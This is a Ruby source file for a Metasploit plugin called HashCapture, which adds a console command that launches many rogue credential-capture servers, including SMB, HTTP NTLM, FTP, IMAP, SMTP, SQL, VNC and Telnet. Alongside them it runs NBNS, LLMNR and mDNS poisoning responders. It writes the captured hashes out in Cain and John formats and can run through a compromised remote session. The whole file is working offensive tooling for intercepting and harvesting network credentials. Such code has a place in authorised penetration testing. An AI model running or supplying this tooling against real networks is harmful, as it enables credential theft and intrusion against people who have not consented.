Files
metasploit-gs/plugins/capture.rb
T
2022-03-08 11:30:59 +11:00

606 lines
18 KiB
Ruby

require 'uri'
require 'rex/sync/event'
require 'fileutils'
module Msf
class Plugin::HashCapture < Msf::Plugin
class ConsoleCommandDispatcher
include Msf::Ui::Console::CommandDispatcher
class CaptureJobListener
def initialize(name, done_event)
@name = name
@done_event = done_event
end
def waiting(id)
self.succeeded = true
print_good("#{@name} started")
@done_event.set
end
def start(id); end
def completed(id, result, mod); end
def failed(id, error, mod)
print_error("#{@name} failed to start")
@done_event.set
end
attr_accessor :succeeded
end
HELP_REGEX = /^-?-h(?:elp)?$/
@@stop_opt_parser = Rex::Parser::Arguments.new(
'--session' => [ true, 'Session to stop (otherwise all capture jobs on all sessions will be stopped)' ],
'-h' => [false, 'Display this message' ],
)
@@start_opt_parser = Rex::Parser::Arguments.new(
'--session' => [ true, 'Session to bind on' ],
'-i' => [ true, 'IP to bind to' ],
'--spoofip' => [ true, 'IP to use for spoofing (poisoning); default is the bound IP address' ],
'--regex' => [ true, 'Regex to match for spoofing' ],
'--basic' => [ false, 'Use Basic auth for HTTP listener (default is NTLM)' ],
'--cert' => [ true, 'Path to SSL cert for encrypted communication' ],
'--configfile' => [ true, 'Path to a config file' ],
'--logfile' => [ true, 'Path to store logs' ],
'--hashdir' => [ true, 'Directory to store hash results' ],
'--stdout' => [ false, 'Show results in stdout' ],
'-v' => [ false, 'Verbose output' ],
'-h' => [false, 'Display this message' ],
)
def initialize(*args)
super(*args)
@active_job_ids = {}
@active_loggers = {}
end
def name
'HashCapture'
end
def commands
{
'capture' => 'Start hash capturing services',
}
end
# The main handler for the request command.
#
# @param args [Array<String>] The array of arguments provided by the user.
# @return [nil]
def cmd_capture(*args)
# short circuit the whole deal if they need help
return help if args.length == 0
return help if args.length == 1 && args.first =~ HELP_REGEX
begin
if args.first == 'stop'
listeners_stop(args)
return
end
if args.first == 'start'
listeners_start(args)
return
end
return help
rescue ArgumentError => err
print_error(err.message)
end
end
def cmd_capture_tabs(str, words)
return ['start', 'stop'] if words.length == 1
if words[1] == 'start'
case words[-1]
when '--session'
return framework.sessions.keys.map { |k| k.to_s }
when '--cert', '--configfile', '--logfile'
return tab_complete_filenames(str, words)
when '--hashdir'
return tab_complete_directory(str, words)
end
if @@start_opt_parser.arg_required?(words[-1])
# The previous word needs an argument; we can't provide any help
return []
end
result = @@start_opt_parser.option_keys.select { |opt| opt.start_with?(str) }
return result
elsif words[1] == 'stop'
case words[-1]
when '--session'
return framework.sessions.keys.map { |k| k.to_s } + ['local']
end
if @@stop_opt_parser.arg_required?(words[-1])
# The previous word needs an argument; we can't provide any help
return []
end
result = @@stop_opt_parser.option_keys.select { |opt| opt.start_with?(str) }
end
end
def listeners_start(args)
config = parse_start_args(args)
if config[:show_help]
help('start')
return
end
# Make sure there is no capture happening on that session already
session = config[:session]
if session.nil?
session = 'local'
end
if @active_job_ids.key?(session)
active_jobs = @active_job_ids[session]
# If there are active job IDs on this session, we should fail: there's already a capture going on.
# Make them stop it first.
# The exception is if all jobs have been manually terminated, then let's treat it
# as if the capture was stopped, and allow starting now.
active_jobs.each do |job_id|
if framework.jobs.key?(job_id.to_s)
session_str = ''
unless session.nil?
session_str = ' on this session'
end
print_error("A capture is already in progress#{session_str}. Stop the existing capture then restart a new one")
return
end
end
end
if @active_loggers.key?(session)
logger = @active_loggers[session]
logger.close
end
# Start afresh
@active_job_ids[session] = []
@active_loggers.delete(session)
transform_params(config)
validate_params(config)
modules = {
# Capturing
'DRDA' => 'auxiliary/server/capture/drda',
'FTP' => 'auxiliary/server/capture/ftp',
'IMAP' => 'auxiliary/server/capture/imap',
'MSSQL' => 'auxiliary/server/capture/mssql',
'MySQL' => 'auxiliary/server/capture/mysql',
'POP3' => 'auxiliary/server/capture/pop3',
'Postgres' => 'auxiliary/server/capture/postgresql',
'PrintJob' => 'auxiliary/server/capture/printjob_capture',
'SIP' => 'auxiliary/server/capture/sip',
'SMB' => 'auxiliary/server/capture/smb',
'SMTP' => 'auxiliary/server/capture/smtp',
'Telnet' => 'auxiliary/server/capture/telnet',
'VNC' => 'auxiliary/server/capture/vnc',
# SSL versions
'FTPS' => 'auxiliary/server/capture/ftp',
'IMAPS' => 'auxiliary/server/capture/imap',
'POP3S' => 'auxiliary/server/capture/pop3',
'SMTPS' => 'auxiliary/server/capture/smtp',
# Poisoning
#'DNS' => 'auxiliary/spoof/dns/native_spoofer',
'NBNS' => 'auxiliary/spoof/nbns/nbns_response',
'LLMNR' => 'auxiliary/spoof/llmnr/llmnr_response',
'mDNS' => 'auxiliary/spoof/mdns/mdns_response',
#'WPAD' => 'auxiliary/server/wpad',
}
encrypted = ['HTTPS_NTLM','HTTPS_Basic','FTPS','IMAPS','POP3S','SMTPS']
if config[:http_basic]
modules['HTTP'] = 'auxiliary/server/capture/http_basic'
modules['HTTPS'] = 'auxiliary/server/capture/http_basic'
else
modules['HTTP'] = 'auxiliary/server/capture/http_ntlm'
modules['HTTPS'] = 'auxiliary/server/capture/http_ntlm'
end
modules_to_run = []
logfile = config[:logfile]
print_line("Logging results to #{logfile}")
logdir = ::File.dirname(logfile)
FileUtils.mkdir_p(logdir)
hashdir = config[:hashdir]
print_line("Hash results stored in #{hashdir}")
FileUtils.mkdir_p(hashdir)
if config[:stdout]
logger = Rex::Ui::Text::Output::Tee.new(logfile)
else
logger = Rex::Ui::Text::Output::File.new(logfile, mode='ab')
end
@active_loggers[session] = logger
modules.each do |svc, module_name|
unless config[:services][svc]
# This service turned off in config
next
end
# Special case for two variants of HTTP
if svc.start_with?('HTTP')
if config[:http_basic]
svc += '_Basic'
else
svc += '_NTLM'
end
end
mod = framework.modules.create(module_name)
# Bail if we couldn't
unless mod
# Error: this should exist
print_error("Error: module not found (#{module_name})")
return
end
datastore = {}
# Capturers
datastore['SRVHOST'] = config[:srvhost]
datastore['CAINPWFILE'] = File.join(config[:hashdir], "cain_#{svc}")
datastore['JOHNPWFILE'] = File.join(config[:hashdir], "john_#{svc}")
# Poisoners
datastore['SPOOFIP'] = config[:spoof_ip]
datastore['SPOOFIP4'] = config[:spoof_ip]
datastore['REGEX'] = config[:spoof_regex]
datastore['ListenerComm'] = config[:session]
opts = {}
opts['Options'] = datastore
opts['RunAsJob'] = true
opts['LocalOutput'] = logger
if config[:verbose]
datastore['VERBOSE'] = true
end
method = "configure_#{svc.downcase}"
if self.respond_to?(method)
self.send(method, datastore, config)
end
if encrypted.include?(svc)
configure_tls(datastore, config)
end
# Before running everything, let's do some basic validation of settings
mod_dup = mod.replicant
mod_dup._import_extra_options(opts)
mod_dup.options.validate(mod_dup.datastore)
modules_to_run.append([svc, mod, opts])
end
modules_to_run.each do |svc, mod, opts|
event = Rex::Sync::Event.new(state=false,auto_reset=false)
job_listener = CaptureJobListener.new(mod.name, event)
result = Msf::Simple::Auxiliary.run_simple(mod, opts, job_listener: job_listener)
job_id = result[1]
# Wait for the event to trigger (socket server either waiting, or failed)
event.wait
if job_listener.succeeded
# Keep track of it so we can close it upon a `stop` command
@active_job_ids[session].append(job_id)
job = framework.jobs[job_id.to_s]
# Rename the job for display (to differentiate between the encrypted/plaintext ones in particular)
if config[:session].nil?
session_str = 'local'
else
session_str = "session #{config[:session].to_i}"
end
job.send(:name=, "Capture (#{session_str}): #{svc}")
end
end
print_good('Started capture jobs')
end
def listeners_stop(args)
options = parse_stop_args(args)
if options[:show_help]
help('stop')
return
end
session = options[:session]
job_id_clone = @active_job_ids.clone
job_id_clone.each do |session_id, jobs|
if session.nil? || session == session_id
jobs.each do | job_id|
framework.jobs.stop_job(job_id) unless framework.jobs[job_id.to_s].nil?
end
jobs.clear
@active_job_ids.delete(session_id)
end
end
loggers_clone = @active_loggers.clone
loggers_clone.each do |session_id, logger|
if session.nil? || session == session_id
logger.close
@active_loggers.delete(session_id)
end
end
print_line('Capture listeners stopped')
end
# Print the appropriate help text depending on an optional option parser.
#
# @param first_arg [String] the first argument to this command
# @return [nil]
def help(first_arg = nil)
if first_arg == 'start'
print_line('Usage: capture start -i <ip> [options]')
print_line(@@start_opt_parser.usage)
elsif first_arg == 'stop'
print_line('Usage: capture stop [options]')
print_line(@@stop_opt_parser.usage)
else
print_line('Usage: capture [start|stop] [options]')
end
end
def default_options
options = {
:ntlm_challenge => nil,
:ntlm_domain => nil,
:services => {},
:spoof_ip => nil,
:spoof_regex => '.*',
:srvhost => nil,
:http_basic => false,
:session => nil,
:ssl_cert => nil,
:verbose => false,
:show_help => false,
:stdout => false,
:logfile => nil,
:hashdir => nil,
}
end
def default_logfile(options)
session = 'local'
session = options[:session].to_s unless options[:session].nil?
name = "capture_#{session}_#{Time.now.strftime('%Y%m%d%H%M%S')}_#{Rex::Text.rand_text_numeric(6)}.txt"
File.join(Msf::Config.log_directory,"captures/#{name}")
end
def default_hashdir(options)
session = 'local'
session = options[:session].to_s unless options[:session].nil?
name = "capture_#{session}_#{Time.now.strftime('%Y%m%d%H%M%S')}_#{Rex::Text.rand_text_numeric(6)}"
File.join(Msf::Config.loot_directory,"captures/#{name}")
end
def read_config(filename)
options = {}
File.open(filename, "rb") do |f|
yamlconf = YAML::load(f)
options = {
:ntlm_challenge => yamlconf['ntlm_challenge'],
:ntlm_domain => yamlconf['ntlm_domain'],
:services => yamlconf['services']
}
end
end
def parse_stop_args(args)
options = {
:session => nil,
:show_help => false,
}
@@start_opt_parser.parse(args) do |opt, idx, val|
case opt
when '--session'
options[:session] = val
when '-h'
options[:show_help] = true
end
end
options
end
def parse_start_args(args)
config_file = File.join(Msf::Config.data_directory,"capture_config.yaml")
# See if there was a config file set
@@start_opt_parser.parse(args) do |opt, idx, val|
case opt
when '--configfile'
config_file = val
end
end
options = default_options
config_options = read_config(config_file)
options = options.merge(config_options)
@@start_opt_parser.parse(args) do |opt, idx, val|
case opt
when '--session'
options[:session] = val
when '-i'
options[:srvhost] = val
when '--spoofip'
options[:spoof_ip] = val
when '--regex'
options[:spoof_regex] = val
when '-v'
options[:verbose] = true
when '--basic'
options[:http_basic] = true
when '--cert'
options[:ssl_cert] = val
when '--stdout'
options[:stdout] = true
when '--logfile'
options[:logfile] = val
when '--hashdir'
options[:hashdir] = val
when '-h'
options[:show_help] = true
end
end
options
end
def poison_included(options)
poisoners = ['mDNS','LLMNR','NBNS']
poisoners.each do |svc|
if options[:services][svc]
return true
end
end
false
end
# Fill in implied parameters to make the running code neater
def transform_params(options)
# If we've been given a specific IP to listen on, use that as our poisoning IP
if options[:spoof_ip].nil? && options[:srvhost] != '0.0.0.0'
options[:spoof_ip] = options[:srvhost]
end
unless options[:session].nil?
# UDP is not supported on remote sessions
udp = ['NBNS','LLMNR','mDNS','SIP']
udp.each do |svc|
if options[:services][svc]
print_line("Skipping #{svc}: UDP server not supported over a remote session")
options[:services][svc] = false
end
end
end
if options[:logfile].nil?
options[:logfile] = default_logfile(options)
end
if options[:hashdir].nil?
options[:hashdir] = default_hashdir(options)
end
end
def validate_params(options)
if options[:srvhost].nil?
raise ArgumentError.new('Must provide an IP address to listen on')
end
# If we're running poisoning (which is disabled remotely, so excluding that situation),
# we need either a specific srvhost to use, or a specific spoof IP
if options[:spoof_ip].nil? && poison_included(options)
raise ArgumentError.new('Must provide a specific IP address to use for poisoning')
end
unless options[:ssl_cert].nil? || File.file?(options[:ssl_cert])
raise ArgumentError.new("File #{options[:ssl_cert]} not found")
end
unless options[:session].nil? || framework.sessions.key?(options[:session].to_i)
raise ArgumentError.new("Session #{options[:session].to_i} not found")
end
end
def configure_tls(datastore, config)
datastore['SSL'] = true
datastore['SSLCert'] = config[:ssl_cert]
end
def configure_smb(datastore, config)
datastore['SMBDOMAIN'] = config[:ntlm_domain]
datastore['CHALLENGE'] = config[:ntlm_challenge]
end
def configure_mssql(datastore, config)
datastore['DOMAIN_NAME'] = config[:ntlm_domain]
datastore['CHALLENGE'] = config[:ntlm_challenge]
end
def configure_http_ntlm(datastore, config)
datastore['DOMAIN'] = config[:ntlm_domain]
datastore['CHALLENGE'] = config[:ntlm_challenge]
datastore['SRVPORT'] = 80
datastore['URIPATH'] = '/'
end
def configure_http_basic(datastore, config)
datastore['URIPATH'] = '/'
end
def configure_https_basic(datastore, config)
datastore['SRVPORT'] = 443
datastore['URIPATH'] = '/'
end
def configure_https_ntlm(datastore, config)
datastore['DOMAIN'] = config[:ntlm_domain]
datastore['CHALLENGE'] = config[:ntlm_challenge]
datastore['SRVPORT'] = 443
datastore['URIPATH'] = '/'
end
def configure_ftps(datastore, config)
datastore['SRVPORT'] = 990
end
def configure_imaps(datastore, config)
datastore['SRVPORT'] = 993
end
def configure_pop3s(datastore, config)
datastore['SRVPORT'] = 995
end
def configure_smtps(datastore, config)
datastore['SRVPORT'] = 587
end
end
def initialize(framework, opts)
super
add_console_dispatcher(ConsoleCommandDispatcher)
end
def cleanup
remove_console_dispatcher('HashCapture')
end
def name
'Hash Capture'
end
def desc
'Start all hash/password capture and spoofing services'
end
end # end class
end # end module